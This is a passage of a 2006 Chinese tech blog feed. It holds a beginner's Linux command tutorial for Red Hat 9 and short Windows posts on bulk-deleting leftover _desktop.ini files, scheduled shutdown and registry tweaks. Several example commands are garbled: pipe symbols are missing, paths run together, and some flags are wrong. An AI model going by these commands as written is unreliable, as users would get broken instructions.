		<div style="FONT-SIZE: 12px">新手刚刚接触Linux的时候可能处处感到不便，不过没有关系，接触新的事物都有这样的一个过程，在你用过Linux一段时间后，你就会逐渐了解Linux其实和Windows一样容易掌握。<br />　　由于操作和使用环境的陌生，如果要完全熟悉Linux的应用我们首先要解决的问题就是对Linux常用命令的熟练掌握。本章我们就来介绍Linux的常用基本命令。<br />　　首先启动Linux。启动完毕后需要进行用户的登录，选择登陆的用户不同自然权限也不一样，其中“系统管理员”拥有最高权限。<br />　　在启动Linux后屏幕出现如下界面显示:<br />　　……<br />　　Red Hat Linux release 9 (Shrike)<br />　　Kernel 2.4.20.8 on an i686<br />　　login:<br />　　输入:root(管理员名)后，计算机显示输口令(password:)，输入你的口令即可。当计算机出现一个“#”提示 符时，表明你登录成功!<br />　　屏幕显示Linux提示符:　[root@localhost root]#_<br />　　这里需要说明的是“Red Hat Linux release 9 (Shrike)”表示当前使用的操作系统的名称及版本。“2.4.20.8”表示Linux操作系统的核心版本编号。“i686”表示该台电脑使用的CPU的等级。<br />　　下面我们来介绍常用基本命令<br />一、注销，关机，重启<br />　　注销系统的logout命令<br />　　1，Logout 注销是登陆的相对操作，登陆系统后，若要离开系统，用户只要直接下达logout命令即可:<br />　　[root@localhost root]#logout<br />　　Red Hat Linuxrelease 9(Shike)<br />　　Kernel 2.4.20.8 on an i686<br />　　Login: ← 回到登陆的画面<br />　　2，关机或重新启动的shutdown命令<br />　　Shutdown命令可以关闭所有程序，依照用户的需要，重新启动或关机。<br />　　参数说明如下:<br />立即关机:-h 参数让系统立即关机。范例如下:　　<br />　　[root@localhost root]#shutdown –h now ← 要求系统立即关机<br />指定关机时间:time参数可指定关机的时间;或设置多久时间后运行shutdown命令，范例如下:　　<br />　　[root@localhost root]#shutdown now ← 立刻关机<br />　　[root@localhost root]#shutdown +5 ← 5分钟后关机<br />　　[root@localhost root]#shutdown 10:30 ← 在10:30时关机<br />关机后自动重启:-r 参数设置关机后重新启动。范例如下:　　<br />　　[root@localhost root]#shutdown -r now ← 立刻关闭系统并重启<br />　　[root@localhost root]#shutdown -r 23:59 ← 指定在23:59时重启动<br />　　3，重新启动计算机的reboot命令<br />　　顾名思义，reboot命令是用来重新启动系统的。常用的参数如下:<br />-f 参数:不依正常的程序运行关机，直接关闭系统并重新启动计算机。　　<br />-I 参数:在在重新启动之前关闭所有网络接口。　　<br />　　虽然reboot命令有个参数可以使用，但是一般只需要单独运行reboot命令就可以了<br />二、文件与目录的操作<br />　　列出文件列表的ls命令<br />　　1，ls(list)命令是非常有用的命令，用来显示当前目录中的文件和子目录列表。配合参数的使用，能以不同的方式显示目录内容。范例如下:<br />显示当前目录的内容:　　<br />　　[tony@free tony]$ ls<br />　　Desktop mail myinstall.log test.txt ← 有两个目录及两个文件夹<br />当运行ls命令时，并不会显示名称以“.”开头的文件。因此可加上“-a”参数指定要列出这些文件。范例如下:　　<br />　　[tony@free tony]$ ls –a<br />以“-s”参数显示每个文件所有的空间，并以“-S”参数指定按所有占用空间的大小排序。范例如下:　　<br />　　[tony@free tony]$ ls –s –S<br />　　总计36<br />　　4 Desktop 4 mail 24 myinstall.log 4 test.txt<br />在ls命令后直接加上欲显示的目录路径，就会列出该目录的内容。范例如下:　　<br />　　[tony@free tony]$ ls –l/usr/games<br />　　2，切换目录的cd命令<br />　　cd(change directory)命令可让用户切当前所在的目录。范例如下:<br />　　[tony@free home]$ cd tony ← 切换到当前目录下的tony子目录<br />　　[tony@free tony]$ cd .. ← 切换到上一层目录<br />　　[tony@free home]$ cd / ← 切换到系统根目录<br />　　[tony@free /]$ cd ← 切换到用户主目录<br />　　[tony@free tony]$ cd /usr/bin ← 切换到/usr/bin目录<br />　　3，创建目录的mkdir命令<br />　　Mkdir(make directory)命令可用来创建子目录。下面的范例会在所在目录下创建tool子目录。<br />　　[tony@free tony]$ mkdir tool<br />　　4，删除目录的rmdir命令<br />　　rmdir(remove directory)命令可用来删除“空”的子目录。范例如下:<br />　　[tony@free tony]$ rmdir tool ← 删除tool目录<br />　　5，复制文件的cp命令<br />　　cp(copy)命令可以将文件从一处复制到另一处。一般在使用cp命令将以个文件复制成另一个文件或复制到某个目录时，需要指定原始文件名与目的文件名或目录。范例如下:<br />　　[tony@free tony]$ cp data1.txt data2.txt ← 将data1.txt复制成data2.txt<br />　　[tony@free tony]$ cp data3.txt /tmp/data ← 将data3复制到/tmp/data目录中<br />　　 显示复制过程:加入-v参数可显示命令执行过程。范例如下:<br />　　[tony@free tony]$ cp zip.txt zip2.txt ← 一般状态下不会显示复制过程<br />　　[tony@free tony]$ cp –v zip.txt zip3.txt ← 以-v显示复制过程<br />　　zip.txt -&gt;zip3.txt<br />　　 递回复制:加入“-R”参数可同时复制目录下的所有文件及子目录。范例如下:<br />　　[tony@free tony]$ cp –v –R * backup ← 将所有文件(含子目录文件)复制到backup目录<br />　　6，删除文件或目录的rm命令<br />　　rm(remove)命令可以删除文件或目录。范例如下:<br />　　[tony@free tony]$ rm myfile ← 删除指定的文件<br />　　[tony@free tony]$ rm * ← 删除当前目录中的所有文件<br />　　rm命令的常用参数如下:<br />　　 强迫删除:使用-f参数时，rm命令会直接删除文件，不再询问。范例如下:<br />　　[tony@free tony]$ rm –f *.txt ← 强迫删除文件<br />　　 递回删除:-r 也是一个相当常用的参数，使用此参数可同时删除指定目录下的所有文件及子目录。范例如下:<br />　　[tony@free tony]$ rm –r data ← 删除data目录(含data目录下所有文件和子目录)<br />　　[tony@free tony]$ rm –r * ← 删除所有文件(含当前目录所有文件，所有子目录和子目录下的文件)<br />　　 强制删除指定目录:当使用-r参数删除目录时，若该目录下有许多子目录及文件，则系统会不间断地询问，以确认您的确要删除目录或文件。若已确定要删除所存目录及文件，则可以使用-rf参数，如此一来，系统将直接删除该目录中所有的文件及子目录，不再询问。范例如下:<br />　　[tony@free tony]$ rm –rf tmp 强制删除tmp目录及该目录下所有文件及子目录<br />　　 显示删除过程:使用-v 参数。范例如下:<br />[tony@free tony]$ rm –v<br />　　7，让显示画面暂停的more命令<br />　　为了避免画面显示瞬间就闪过去，用户可以使用more命令，让画面在显示满一页时暂停，此时可按空格键继续显示下一个画面，或按Q键停止显示。<br />当使用ls命令查看文件列表时，若文件太多则可以配合more命令使用。范例如下:　　<br />　　[tony@free bin]$ ls –al<br />　　more<br />单独使用more命令时，可用来显示文字文件的内容。范例如下:　　<br />　　[tony@free tony]$ more data.txt<br />　　8,连接文件的cat命令<br />　　cat(concatenate) 命令可以显示文件的内容(经常和more命令搭配使用)，或是将数个文件合并成一个文件。范例如下:<br />逐页显示 preface.txt的内容:　　<br />　　[tony@free tony]$ cat preface.txt<br />　　more<br />将preface.txt 附加到outline.txt文件之后:　　<br />　　[tony@free tony]$ cat preface.txt &gt;&gt; outline.txt<br />将new.txt和info.txt合并成readme.txt文件:　　<br />　　[tony@free tony]$ cat new.txt info.txt &gt;readme.txt<br />　　9,移动或更换文件，目录名称的mv命令<br />　　mv (move)命令可以将文件及目录移动到另一个目录下面，或更换文件及目录的名称。范例如下:<br />　　[tony@free backup]$ mv a.txt .. ← 将a.txt文件移到上层目录<br />　　[tony@free backup]$ mv z1.txt z3.txt ← 将 z1.txt改名成z3.txt<br />　　[tony@free backup]$ cd.. ← 切换到上一层目录<br />　　[tony@free tony]$ mv backup.. ← backup 目录上移一层<br />　　10，显示当前所在目录的pwd命令<br />　　pwd(print working directory)命令可显示用户当前所在的目录。范例如下:<br />　　[tony@free tony]$ pwd<br />　　/home/tony ← 当前所在目录为“/home/tony”<br />　　11,查找文件的locate命令<br />　　locate 命令可用来搜索包含指定条件字符串的文件或目录。范例如下:<br />　　[tony@free tony]$ locate zh_CN 列出所有包含“zh_CN”字符串的文件和目录。<br />　　由于locate命令是从系统中保存文件及目录名称的数据库中搜索文件，虽然系统会定时更新数据库，但对于刚新增或删除的文件、目录，仍然可能会因为数据库尚未更新而无法查得，此时可用root身份运行updatedb命令更新，为此数据库得内容正确。<br />　　12，搜索字符串得grep命令<br />　　grep 命令可以搜索特定字符串来并显示出来，一般用来过滤先前得结果，避免显示太多不必要得信息。范例如下:<br />　　[tony@free etc]$ grep text *.conf ← 搜索当前目录中扩展名为.conf且包含“text”字符串得文件。<br />　　grep:amd.conf: ← 拒绝不符权限得操作<br />　　grep:diskcheck.conf: ← 拒绝不符权限得操作<br />　　grep:grub.conf ← 拒绝不符权限得操作<br />若您是使用一般权限的用户运行，上例的输出结果会包含很多如“拒绝不符权限的操作之类的错误信息，可使用-s参数消除。　　<br />　　[tony@free etc]$ grep –s text *.conf<br />　　13，重导与管道<br />　　重导(redirect)可将某命令的结果输出导文件中，它有两中命令:“&gt;”和“&gt;&gt;”。“&gt;”可将结果输出到文件中，该文件原有的内容会被删除:“&gt;&gt;”则将结果附加到文件中，原文件内容不会被清除。范例如下:<br />　　[tony@free tony]$ ls –a&gt;dir.txt ← 将ls –a命令执行结果输出到dir.txt文件。<br />　　[tony@free tony]$ cat data1.txt &gt;&gt; data2.txt ← 将 data1.txt 内容附加到data2.txt文件之后。<br />　　通道(pipe)命令的符号是“　”，可将某命令的结果输出给另一命令，一下范例将ls命令的输出结果传给grep命令过滤:<br />　　[tony@free etc]$ ls<br />　　gerp conf ← 搜索并显示ls命令运行结果中包含有“conf”字符串<br />　　在举一个删除文件或目录的例子，可以利用yes命令重复输出“y”字符的特性，将结果传给rm命令，如此即可避免重复输入“y”:<br />　　[tony@free tony]$ yes<br />　　rm –r mydir<br />三、使用光盘及软盘<br />　　在Linux的文字模式下要使用光盘或软盘，并不是只将光盘或软盘放入即可，用户需要运行加载的命令，才可读写数据。所谓加载就是将存储介质(如光盘和软盘)指定成系统中的某个目录(如/mnt/cdrom或mnt/floppy)。通过直接存取此加载目录，即可读写存储介质中的数据。以下就来看看文字模式下的加载及卸载命令。<br />　　1，加载的mount命令<br />　　要使用光盘时先把光盘放入光驱，然后执行加载的mount命令，将光盘加载至系统中:<br />　　[tony@free tony]# mount/dev/cdrom/mut/cdrom ← 加载光盘<br />　　同理，使用软盘之前也需要和光盘一样，必须先加载后才能使用:<br />　　[tony@free tony]# mount/dev/fd0/mut/floppy ← 加载软盘<br />　　2，卸载的umount命令<br />　　如果不需要使用光盘或软盘，则需先执行卸载命令之后，才能将光盘或软盘退出。范例如下:<br />　　[tony@free tony]# umount / mnt/cdrom ← 光盘卸载<br />　　在不使用软盘时执行umount 命令卸载软盘，再将软盘拿出<br />　　[tony@free tony]# umount / mnt/ ← 软盘卸载<br /><div style="FONT-SIZE: 12px">四、在后台运行程序<br />　　用户有时的程序有可能要花费很多时间，如果将它放在前台运行，将导致无法继续做其他事情，最好的方法就是将它放在后台运行，甚至可能希望在用户注销系统后，程序还可以继续运行。让我们看看那如何实现这一目的。<br />　　1，在后台运行程序的&amp;、bg命令<br />　　将程序放到后台运行的最简单方法就是在命令最后加上“&amp;”,范例如下:<br />　　[tony@free root]# updatedb &amp; ← 在后台执行 locate 数据库更新命令<br />　　[tony@free root]# bg ← 将更新操作放到后台运行<br />　　2，前台运行的程序fg命令<br />　　如果用户当前已有程序在后台运行，可以输入fg命令，将它从背景中移到前台运行:<br />　　[tony@free root]# fg ← 放到前台执行的命令会显示出来<br />　　3，在退出后让程序继续运行的nohup命令<br />　　此命令可使用户退出系统后，程序继续运行。范例如下:<br />　　[tony@free rony]$ nohup myserver &amp;<br />　　然后用户就可以退出了，当再次登录的时候，可以用ps –aux命令看到程序仍在后台中运行。<br />五、任务调度命令<br />　　计算机有很多程序需要周期性的被运用，例如清理磁盘中不要的暂存盘、备份系统数据、检查远程服务器的邮件等。对于这些重复性的工作，其实不需要每次都辛苦地运行这些程序。可利用任务调度命令，指定系统定期在某个时间运行这些程序，轻轻松松完成想要执行的工作。<br />　　任务调度的crond常驻命令<br />　　crond 是Linux用来定期执行程序的命令。当安装完成操作系统后，默认便会启动此任务调动命令。crond命令每分钟会定期检查是否有要执行的工作，如果有要执行的工作，便会自动执行该工作。由于任务调度中间的操作过程十分繁杂，我们只将任务调度文件的写法介绍给大家，供大家参阅:<br />　　Minute Hour Day Month DayOfWeek Command<br />　　在这段文字中除了“Command”是每次都必须指定的字段以外，其他自动皆可视需求自行决定是否指定。<br />六、任务调度的系统工作<br />　　/ect/crontab/文件是Linux系统工程的任务调度设置文件，其默认的内容如下:<br />　　SHELL=/bin/bash ← 指定执行任务调度工作时所使用的SHELL<br />　　PATH=/shin:/bin:/usr/sbin:/usr/bin ← 指定命令搜索的路径<br />　　MAILTO=root ← 指定将输出结果给root用户<br />　　HOME=/ ← 指定跟目录<br />七、任务调度的个人工作<br />　　除了上述任务调度的系统工作外，一般用户则可利用crintab命令，自行设置要定期执行的工作。<br />　　每个用户可执行crontab –e命令，编辑自己的任务调度设置文件，并在此文件加入要定期执行的工作。以下范例为tony用户编辑的任务调度设置文件:<br />　　[tony@free rony]$ crontab –e<br />　　执行上述命令后，即会进入VI文本编辑器自行编辑任务调度的工作。<br />八、删除调度工作任务<br />　　如果不想再定期执行任务调动中的工作，则可执行crontab –r命令删除所有任务调度的工作。范例如下:<br />　　[tony@free rony]$ crontab –r ← 删除任务调度中的工作<br />　　[tony@free rony]$ crontab -1 ← 再查看一次任务调度中的工作<br />　　no crontab for tony ← 已经没有任何任务调度工作<br />九、打包、压缩与解压缩<br />　　由于这是每一个Linux用户都会经常用到的基本功能，因此我们将介绍最常见到的打包、压缩和解压缩程序。<br />　　1，打包文件的tar命令<br />　　tar命令位于/bin目录中，它能将用户所指定的文件或目录打包成一个文件，不过它并不做压缩。一般Unix上常用的压缩方式是先用tar命令将许多文件打包成一个文件，再以gzip等压缩命令压缩文件。tar命令参数繁多，以下举例常用参数作说明:<br />-c:创建一个新的tar文件;　　<br />-v:显示运作过程信息;　　<br />-f:在:指定文件名称;　　<br />-z:调用gzip压缩命令执行压缩;　　<br />-j:调用bzip2压缩命令执行压缩;　　<br />-t:参看压缩文件内容;　　<br />-x:解开tar文件。　　<br />　　在此举一常用范例:<br />　　[tony@free data]# tar cvf data.tar * ← 将目录下所有文件打包成data.tar<br />　　[tony@free data]# tar cvf data.tar.gz * ← 将目录所有文件打包成data.tar再用gzip命令压缩<br />　　[tony@free data]# tar tvf data.tar * ← 查看data.tar文件中包括了哪些文件<br />　　[tony@free data]# tar xvf data.tar * ← 将data.tar解开<br />　　2，压缩与解压缩<br />　　tar命令本身没有压缩能力，但是可以在产生的tar文件后，立即使用其他压缩命令来压缩，省区需要输入两次命令的麻烦。<br />使用-z参数来解开最常见的.tar.gz文件:　　<br />　　[tony@free data]# tar –zxvf foo.tar.gz ←将文件解开至当前目录下<br />使用-j参数解开tar.bz2压缩文件:　　<br />　　[tony@free data]# tar –jxvf linux-2.4.20tar.bz2 ←将文件解开至当前目录下<br />使用-Z参数指定以compress命令压缩　　<br />　　[tony@free data]# tar –cZvf prcture.tar.Z*.tif 将该目录下所有.tif打包并命令压缩成.tar.Z文件<br />十、其他常用命令<br />　　Linux可用的命令相当多，本章我们只举例几个常用的命令进行说明，在以后的章节中，还会接触到许多其他命令。<br />　　1，修改密码的passwd命令<br />　　passwd(password)命令可让用户变更密码。范例如下:<br />　　[tony@free tony]$ passwd<br />　　Changing password for user tony<br />　　Changing password for tony<br />　　(current)UNIX password: ← 输入原密码<br />　　New password: ← 输入新密码<br />　　Retype new password ← 在此输入新密码<br />　　passwd: all authentication tokens updated successfully ← 密码修改成功<br />　　2，创建引导盘的mkbootdisk命令<br />　　如果安装系统时，并没有制作引导盘，或者引导盘已经损害，可以在安装系统之后，利用mkbootdisk命令创建一张新的引导盘:<br />　　[root@free root]# mkbootdisk ‘uname -r’<br />　　执行上述指令便可以成功的创建一张引导盘了。请保存好出盘，已备紧急之用。<br />　　3，显示与设置时间的date、clock和ntpdate命令<br />　　date 命令可以显示当前日期时间。范例如下:<br />　　[tony@free rony]$ date<br />　　-9月 8 10:00:00 CST 2006<br />　　CST为中部标准时间<br />　　clock命令也可以显示出系统当前的日期与时间，不过clock命令默认不允许一般用户执行，请用root账号执行:<br />　　[root@free root]# clock<br />　　公元2006年9月8日(周五)10时00分00秒 0.112604 seconds<br />　　如果系统时间不正确要想更改，可以使用date命令来设置时间。用root账号如下操作:<br />　　[root@free root]# date 09091200 ← 将时间设定为9月9日12点00分<br />　　用户有时可能会苦于不知道标准时间。没关系，当前网络上也有校对时服务器提供的标准时间。因此可执行ntpdate命令，将系统时间设成与校时服务器一致:<br />　　[root@free root]# ntpdate stdtime.microsoft.com ← 与微软校时服务器校时。<br />　　然后再执行一次date命令，就会发现系统时间已经更改。不过这样还没有结束，还需要执行clock –w 命令将更改的时间写入计算机的CMOS中，这样下次启动时才会使用更改过的时间。 范例如下:<br />　　[root@free root]# clock –w<br /><br /><br />　　常用的基本命令我们就先介绍到这里，现在我们来讲些新手在使用过程中遇到的一些疑难问题的解决方法以及在操作过程中的一些应用技巧。<br />一、如何进入文字模式<br />　　当安装Linux时，可选择自动后要进入文字模式或时图形模式。如果选择的时文字模式则可略过此说明;若是直接进入X Window的图形模式，仍可以使用下列方式，进入文字模式:<br />　　1，在X Window中打开文字模式窗口<br />　　在默认的GNOME窗口环境为例，在X Windows 下进入文字模式最简单的方式，就是在桌面空白处单击鼠标右键，执行“新增终端命令”，打开文字模式窗口。在文字模式窗口中可以用 Shift+Page Up和Shift+Page Dwon 键来卷动窗口内容。<br />　　2，切换虚拟主控制台进入文字模式<br />　　Linux主机在主控制台(console)下提供了7个虚拟主控台，在每一个虚拟主控台中可以运行各自的程序。可以在登陆X Window系统后的任何时间，按下Ctrl+Alt+Fn键来切换到其他的虚拟主控台。其中的Fn是指F1～F7的功能键。<br />　　3，启动直接进入文字模式<br />　　要设置启动时直接进入文字模式，可以使用任何一个文本编辑器，打开/etc/inittab文件，在文件中查找“id:5:initdefault:”这一段文字，并将其改为“id:3:initdefault:”即可。<br />二、etc/inittab设置错误，导致无法启动<br />　　若修改/etc/inittab后无法正常启动，则可以在启动时采用单人模式进入系统，重新修改inittab设置文件以解决问题。<br />　　若使用GRUB为引导装载程序时，只要在启动显示菜单画面时，按a键，并在命令行输入一下参数以进入单人模式:<br />　　grub append &gt; ro root=LABEL=/s ← 只要在命令行原来的语句后，加“S”即可<br />　　使用LILO为引导装载程序时，同样在启动显示LILO菜单画面时，按Ctrl+X键，切换到文字模式的LILO登录画面，并输入以下参数即可:<br />　　boot: linux s ← 表示系统直接讲进入单人模式<br />三、如何查询命令的用法<br />　　在linux系统中，如果用户某命令的功能不大清楚，可以使用man命令查询帮助:<br />　　[root@free root]# man shutdown ← 以man命令查询稍后要介绍的shutdown命令的用法。<br />　　大多数命令的语法，还可以通过-h或—help参数查询。例如shutdown命令的语法可以运行shutdown –h或上述的man shutdown 命令查得。<br />四、避免按Ctrl+Alt+Del重新启动系统<br />　　在linux中直接按下Ctrl+Alt+Del三个键后就会重新启动，如果不希望任何人利用这组组合键随意重新启动计算机，请用文本编辑器修改/etc/inittab文件:<br />　　#ca::ctrlaltdel:/sbin/shut down –t3 –r now ← 在此之前加上“#”。<br />　　存盘后重新启动计算，以后就无法用Ctrl+Alt+Del 键重新启动了。<br />五、文字模式下的中文信息出现乱码，怎么办<br />　　在此版的Red Hat Linux中，若是在X Window打开文字模式窗口，以文字模式操作，则所有中文文件名、月份，甚至部分信息都可以正常的以中文显示。但在文字模式的虚拟控制台中，这些中文信息，则会变成乱码，此时请如下操作，可将此信息改成英文显示:<br />　　[root@free root]$ LANG=C<br />　　[root@free root]# ls –l<br />　　运行LANG=C命令后原来以中文显示(乱码)的部分，变成英文了<br />　　若想改回原来的设置，则只要再执行LANG=zh_CN命令即可:<br />　　[root@free root]$ LANG=zh_CN<br />六、看不到中文文件名<br />　　如果加载的存储介质中含有中文文件名，需要再运行mount命令，再加上“-o iocharset=cp950”参数，这样才能看到此保存媒体内的中文文件名。例如加载光盘就可以执行以下命令:<br />　　[root@free root]# mount –o iochatset=cp950/dev/cdrom/mnt/cdrom<br />七、如何调换光盘<br />　　当光盘已经被加载成为一个目录时，按下光驱上面的退出按钮，将无法退出光盘，必须先将光盘卸载后，才能退出光盘。<br />　　若当前所在之处就是光盘加载目录(如/mnt/cdrom),或有其他用户正在此目录下，将无法成功的卸载它，当然也不能退出光盘:<br />　　[root@free root]# umount/mnt/cdrom<br />　　umount:/mnt/cdrom: device is busy ← 此光盘正在被使用中<br />　　先将工作目录切换到别处，或要求其他用户离开此目录，才可卸载目录并退出光盘。而更换关盘之后，记得要将光盘再次加载才能使用。<br />八、允许一般用户加载光盘或软盘<br />　　Linux 操作系统默认只允许root用户才能运行mount命令，若是一般用户执行上述命令，则会出现以下的错误信息:<br />　　[root@free root]# mount/dev/cdrom/mut/cdrom<br />　　mount:only root can do that ← 只有root用户才能执行此命令<br />　　因此若要允许一般用户也能加载光盘或软盘，请修改/ect/fstab/设置文件:<br />　　/dev/cdrom/mut/cdrom udf,iso9660 noauto,owner,kudzu,ro,user ← 若要让一般用户也加载光盘，请在此处加上“，user”项目。<br />　　Linux的其他应用指令还有很多，我们将在日后的学习和应用中随遇随教。</div></div>
<img src ="http://www.cppblog.com/cqyangjf/aggbug/14467.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-11-01 11:49 <a href="http://www.cppblog.com/cqyangjf/archive/2006/11/01/14467.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>删除指定文件</title><link>http://www.cppblog.com/cqyangjf/archive/2006/10/13/13641.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Fri, 13 Oct 2006 06:09:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/10/13/13641.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/13641.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/10/13/13641.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/13641.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/13641.html</trackback:ping><description><![CDATA[
		<p>关于_desktop.ini这个文件还要从上次我电脑被病毒强奸了说起。上次中了viking病毒之后，发现某些目录里有_desktop.ini文件，起初和desktop.ini弄混了，以为是desktop.ini呢，今天往服务器上传东西的时候才发现不对劲，很多目录里都有这东西，于是上网搜索了一下，原来是杀了viking病毒后遗留下的。</p>
		<p>那么多的_desktop.ini该怎么清理呢？下面给出两个清理方法:<br />方法一:<br />      点开始菜单，然后选运行，输入cmd回车，会出现一个命令提示符窗口，在里面输入如下命令<br />      del d:\_desktop.ini /f/s/q/a <br />　　强制删除d盘下所有目录内（包括d盘本身）的_desktop.ini文件并且不提示是否删除，如果你想删除c盘的_desktop.ini文件，把上面命令改为del c:\_desktop.ini /f/s/q/a即可，以此类推<br />　　/f 强制删除只读文件 <br />　　/q 指定静音状态。不提示您确认删除。 <br />　　/s 从当前目录及其所有子目录中删除指定文件。显示正在被删除的文件名。 <br />　　/a的意思是按照属性来删除了</p>
		<p>
				<br />Thumbs.db</p>
		<p>
				<br />del d:\Thumbs.db /f/s/q/a</p>
<img src ="http://www.cppblog.com/cqyangjf/aggbug/13641.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-10-13 14:09 <a href="http://www.cppblog.com/cqyangjf/archive/2006/10/13/13641.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>定时关机</title><link>http://www.cppblog.com/cqyangjf/archive/2006/09/14/12445.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Thu, 14 Sep 2006 03:07:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/09/14/12445.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/12445.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/09/14/12445.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/12445.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/12445.html</trackback:ping><description><![CDATA[
		<p>Windows XP的关机是由Shutdown.exe程序来控制的，位于Windows＼System32文件夹中 </p>
		<p>　　。如果想让Windows 2000也实现同样的效果，可以把Shutdown.exe复制到系统目录下。　　 </p>
		<p>　　比如你的电脑要在22:00关机，可以选择“开始→运行”，输入“at 22:00 Shutdown -s”，这样，到了22点电脑就会出现“系统关机”对话框，默认有30秒钟的倒计时并提示你保存工作。如果你想以倒计时的方式关机，可以输入“Shutdown.exe -s -t 3600”，这里表示60分钟后自动关机，“3600”代表60分钟。 </p>
		<p>　　设置好自动关机后，如果想取消的话，可以在运行中输入“shutdown -a”。另外输入“shutdown -i”，则可以打开设置自动关机对话框，对自动关机进行设置。　　 </p>
		<p>　　Shutdown.exe的参数，每个都具有特定的用途，执行每一个都会产生不同的效果，比如“-s”就表示关闭本地计算机，“-a”表示取消关机操作，下面列出了更多参数，大家可以在Shutdown.exe中按需使用。 </p>
		<p>　　-f：强行关闭应用程序 </p>
		<p>　　-m ＼＼计算机名：控制远程计算机 </p>
		<p>　　-i：显示图形用户界面，但必须是Shutdown的第一个选项 </p>
		<p>　　-l：注销当前用户 </p>
		<p>　　-r：关机并重启 <br />　　 <br />　　-t时间：设置关机倒计时 </p>
		<p>　　-c "消息内容"：输入关机对话框中的消息内容(不能超127个字符</p>
<img src ="http://www.cppblog.com/cqyangjf/aggbug/12445.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/cqyangjf/" target="_blank">小丑</a> 2006-09-14 11:07 <a href="http://www.cppblog.com/cqyangjf/archive/2006/09/14/12445.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>玩转Windows XP注册表</title><link>http://www.cppblog.com/cqyangjf/archive/2006/09/14/12442.html</link><dc:creator>小丑</dc:creator><author>小丑</author><pubDate>Thu, 14 Sep 2006 03:04:00 GMT</pubDate><guid>http://www.cppblog.com/cqyangjf/archive/2006/09/14/12442.html</guid><wfw:comment>http://www.cppblog.com/cqyangjf/comments/12442.html</wfw:comment><comments>http://www.cppblog.com/cqyangjf/archive/2006/09/14/12442.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/cqyangjf/comments/commentRss/12442.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/cqyangjf/services/trackbacks/12442.html</trackback:ping><description><![CDATA[
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
				<span lang="EN-US" style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">Microsoft</span>
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">的<span lang="EN-US">Windows XP</span>发布已经很久了，相信有不少朋友也都将自己的操作系统升级成<span lang="EN-US">XP</span>。这款号称得上是至今功能最强大的操作系统，在功能与界面上的确比以往的<span lang="EN-US"> Windows</span>操作系统有了很大的改进，但新安装的<span lang="EN-US">Windows XP</span>系统并不是处于最佳的状态，大多数功能与介面都是按照预设值设置的，今天在这里，我将教大家如何通过改造<span lang="EN-US">Windows XP</span>的神经系统<span lang="EN-US">—</span>注册表，使你的<span lang="EN-US">Windows XP</span>的性能更佳，更具个性化。<span lang="EN-US"><br /></span>简介：<span lang="EN-US"><br />※ </span>性能优化篇<span lang="EN-US"><br />1</span>、加快开机及关机速度<span lang="EN-US"><br />2</span>、自动关闭停止响应程序<span lang="EN-US">3</span>、清除内存内被不使用的<span lang="EN-US">DLL</span>文件<span lang="EN-US"><br />4</span>、加快宽带接入速度<span lang="EN-US"><br />5</span>、加快菜单显示速度<span lang="EN-US"><br />6</span>、加快自动刷新率<span lang="EN-US">  <br />7</span>、加快预读能力改善开机速度<span lang="EN-US"><br />8</span>、利用<span lang="EN-US"> CPU </span>的<span lang="EN-US"> L2 Cache </span>加快整体效能<span lang="EN-US">  <br />9</span>、在启动计算机时运行<span lang="EN-US"> Defrag </span>程序<span lang="EN-US">  <br />※ </span>管理设定篇<span lang="EN-US"><br />1</span>、缩短系统启动时<span lang="EN-US"> chkdsk </span>的等待时间<span lang="EN-US"><br />2</span>、更改文件管理器<span lang="EN-US"> Thumbnail </span>的大小<span lang="EN-US">  <br />3</span>、随时可使用记事本打开文件<span lang="EN-US">  <br />4</span>、临时关闭登录用户<span lang="EN-US"><br />5</span>、把 管理员<span lang="EN-US">Administrator </span>加回在登录选单内<span lang="EN-US"><br />6</span>、登录画面时使用打开数字键为默认值<span lang="EN-US"><br />7</span>、让登录<span lang="EN-US">[Regedit]</span>时保持在根目录状态<span lang="EN-US"><br />8</span>、更改登记人的名字及组织名称<span lang="EN-US"><br />9</span>、自动登录<span lang="EN-US"> Windows XP <br />10</span>、在指定的目录下打开<span lang="EN-US"> Command Prompt <br />11</span>、修改其它用户的登录文件<span lang="EN-US"><br />12</span>、在我的电脑上隐藏磁盘驱动器<span lang="EN-US"><br />※ </span>桌面调整项目篇<span lang="EN-US"><br />1</span>、在<span lang="EN-US">[</span>开始<span lang="EN-US">]</span>菜单上不显示<span lang="EN-US">[</span>运行<span lang="EN-US">]</span>选项<span lang="EN-US"> ¬ <br />2</span>、在<span lang="EN-US">[</span>开始<span lang="EN-US">]</span>菜单上不显示用户名称<span lang="EN-US">  <br />3</span>、在<span lang="EN-US">[</span>开始<span lang="EN-US">]</span>菜单上不显示经常使用的程序<span 